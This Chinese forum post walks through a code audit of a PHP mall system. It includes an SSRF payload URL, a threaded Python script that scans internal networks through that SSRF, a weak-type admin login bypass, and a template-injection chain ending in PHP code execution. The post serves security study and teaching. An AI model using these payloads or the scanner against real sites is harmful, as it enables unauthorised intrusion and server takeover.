问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
代码审计之某通用商城系统getshell过程
最近在整理自己代码审计的文档时,发现自己以前审了不少小cms的1day, 现在的话基本没啥用,所以打算慢慢发出来,分享一下自己在学习各种语言审计时的一些小思路, 希望能够帮助和我一样的萌新能够领略代码审计的魅力。
### 0x00 前言 最近在整理自己代码审计的文档时,发现自己以前审了不少小cms的1day, 现在的话基本没啥用,所以打算慢慢发出来,分享一下自己在学习各种语言审计时的一些小思路, 希望能够帮助和我一样的萌新能够领略代码审计的魅力。 > 下面的过程基本就是我当时审计的完整状态,所以我觉得萌新对自己可以有点信心,很多事情其实自己也可以做到的。 ### 0x01 确定路由 `wq2/wq2/framework/bootstrap.inc.php` ```php $controller = $_GPC['c']; $action = $_GPC['a']; $do = $_GPC['do']; ``` 加载模块    跳转到控制器  0x02 确定鉴权 --------- 这里我们可以通过定位user下的文件来确定 ```php if (is_array($acl[$controller]['direct']) && in_array($action, $acl[$controller]['direct'])) { require _forward($controller, $action); exit();} checklogin(); ``` 这里主要是通过`acl`进行判断,如果action在这个控制器的的direct数组下的的话,则不需要进行`checklogin`校验,否则则需要校验 简单回溯下: `$acl = require IA_ROOT . '/web/common/permission.inc.php';`  接下来我们可以分析下`checklogin`函数 ```PHP function checklogin() { global $_W; if (empty($_W['uid'])) { if (!empty($_W['setting']['copyright']['showhomepage'])) { itoast('', url('account/welcome'), 'warning'); } else { itoast('', url('user/login'), 'warning'); } } return true; } ``` 可以看到主要是通过全局的`$_W['uid']`如果不为空,则验证通过。  这里我们跟进下登录文件 web/source/user/login.ctrl.php  `$record`是查询返回的结果,在`user_single`对用户和密码进行了校验 如果`$record`不为空,则可以登录  还有几个设置`$_W["uid"]`的地方  都是基于`$session`的值来判断的。 0x03 确定挖洞思路 ----------- 1.挖不需要授权的direct之类的 > ```php > 'account' => array( > 'default' => '', > 'direct' => array( > 'auth', > 'welcome', > ), > > 'article' => array( > 'default' => '', > 'direct' => array( > 'notice-show', > 'news-show', > ), > > 'direct' => array( > 'touch', > 'dock', > ), > > 'cron' => array( > 'default' => '', > 'direct' => array( > 'entry', > ), > 'site' => array( > 'default' => '', > 'direct' => array( > 'entry', > ), > > 'user' => array( > 'default' => 'display', > 'direct' => array( > 'login', > 'register', > 'logout', > 'find-password', > 'third-bind' > ), > > 'utility' => array( > 'default' => '', > 'direct' => array( > 'verifycode', > 'code', > 'file', > 'bindcall', > 'subscribe', > 'wxcode', > 'modules', > 'link', > ), > > ``` 2.根据功能点来测试,观察整个流程是否有绕过的点。 3.测用户和后台权限的功能点(很多都不开放注册,鸡肋) 0x04 前台某处可回显SSRF ---------------- 通过搜索关键字,确定了几个可能存在漏洞方法 ```PHP ihttp_request sendHttpRequest SendCurl send_request send_http send_http_synchronous ``` 后面根据这些方法进行回溯系统流程:  可控,但是在  这里系统限制了只能使用http,https  还有限制了一些内网ip的host,  由于curl设置了跟随,可以`header('Location: dict://lcoalhost:3306')`绕过限制  payload: ```php http://host/web/index.php?c=utility&a=wxcode&do=image&attach=http://127.0.1.13:80/ ``` **效果:**  可以用来探测服务,gopher、dict批量打redis等等 当时写的探测脚本: ```python3 #!/usr/bin/python3 # -*- coding:utf-8 -*- import requests import time import threading, queue # res = requests.get('target/web/index.php?c=utility&a=wxcode&do=image&attach=http://127.0.0.1:80/') # print(res # .content) # myQueue = queue.Queue() Lock = threading.Lock() okList = [] def produce(): for i in range(1,255): for j in range(1,254): ip = '192.168.{a}.{b}'.format(a=i, b=j) # print("try ip:{ip}".format(ip=ip)) url = 'http://target/web/index.php?c=utility&a=wxcode&do=image&attach=http://{ip}:80/'.format(ip=ip) myQueue.put(url) print("Load target Done!!!") def work(): while True: try: url = myQueue.get() except: if myQueue.empty(): break print("try: {u}".format(u=url)) try: res = requests.get(url, timeout=2) if res.status_code == 200: Lock.acquire() print("ok ip: {ip}".format(ip=ip)) okList.append(ip) Lock.release() except Exception as e: print("[worker] error,e:{e}".format(e=e)) def main(): produce() threadingNum = 50 myThread = [] for i in range(threadingNum): t = threading.Thread(target=work) myThread.append(t) t.start() for t in myThread: t.join() print("ok, work Done") print(okList) if __name__ == '__main__': main() ``` 0x05 绕过后台登录 ----------- 这里主要是存在弱类型的问题,导致可以fuzz然后绕过后台登录。  首先hash的加密规则:`$record['hash'] = md5($record['password'] . $record['salt']);`    如果管理员密码的md5为数字开头 我们可以通过爆破开头的数字来进行绕过进入系统里面。 如admin888和password888   0x06 后台绕过getshell ----------------- 这个点可能通杀所有版本吧 首先我们进入站点->数据库处执行语句: ```php UPDATE `ims_site_page` SET `uniacid` = '1' , `multiid` = '0' , `title` = '快捷菜单' , `description` = '' , `status` = '0' , `type` = '2' , `params` = '1' , `html` = '{if phpinfo())//}' , `createtime` = '1593049546' WHERE `id` = '1' ``` 然后访问: `/app/index.php?i=1&c=home&a=page&id=1`  **分析成因:** 跟进: app/source/home/page.ctrl.php ```php if($do == 'getnum'){ ........ } else { $footer_off = true; template_page($id); // 跟进这里 } ```  ```PHP $page['html'] = str_replace(array('<?', '<%', '<?php', '{php'), '_', $page['html']); ``` 这里可以看到进行了一些过滤,基本扼杀了我们的想法,我们继续跟下去  可以看到`$content`进入了`template_parse` 出来之后,直接写入了模板文件中。 我们跟进`template_parse`  可以发现模板为了解析标签,主动为我们补了个`<?php`那可真的是太好了。 这里我选这个点来分析: `$str = preg_replace('/{if\s+(.+?)}/', '<?php if($1) { ?>', $str);` 这里的意思就是 将除了空格的内容放到`$1` `{if phpinfo())//}` =>`<?php if(phpinfo())//) { ?>` 这里我们可以利用php的`//`注释特性来闭合错误,其实还有很多方法来闭合错误。 最后在  直接include了模板,成功getshell。 0x07 总结 ------- 非常简单的的一个漏洞组合链实现getshell,我觉得审计的话, 还是需要一些系统地思路,比如我就喜欢先确定路由->确定鉴权->前台漏洞挖掘->后台漏洞挖掘这种思路,但是对于不太熟悉的语言,我会使用关键字的方法, 期待能继续与你们分享。
发表于 2021-04-07 20:13:19
阅读 ( 7447 )
分类:
漏洞分析
1 推荐
收藏
0 条评论
请先
登录
后评论
带头大哥
50 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!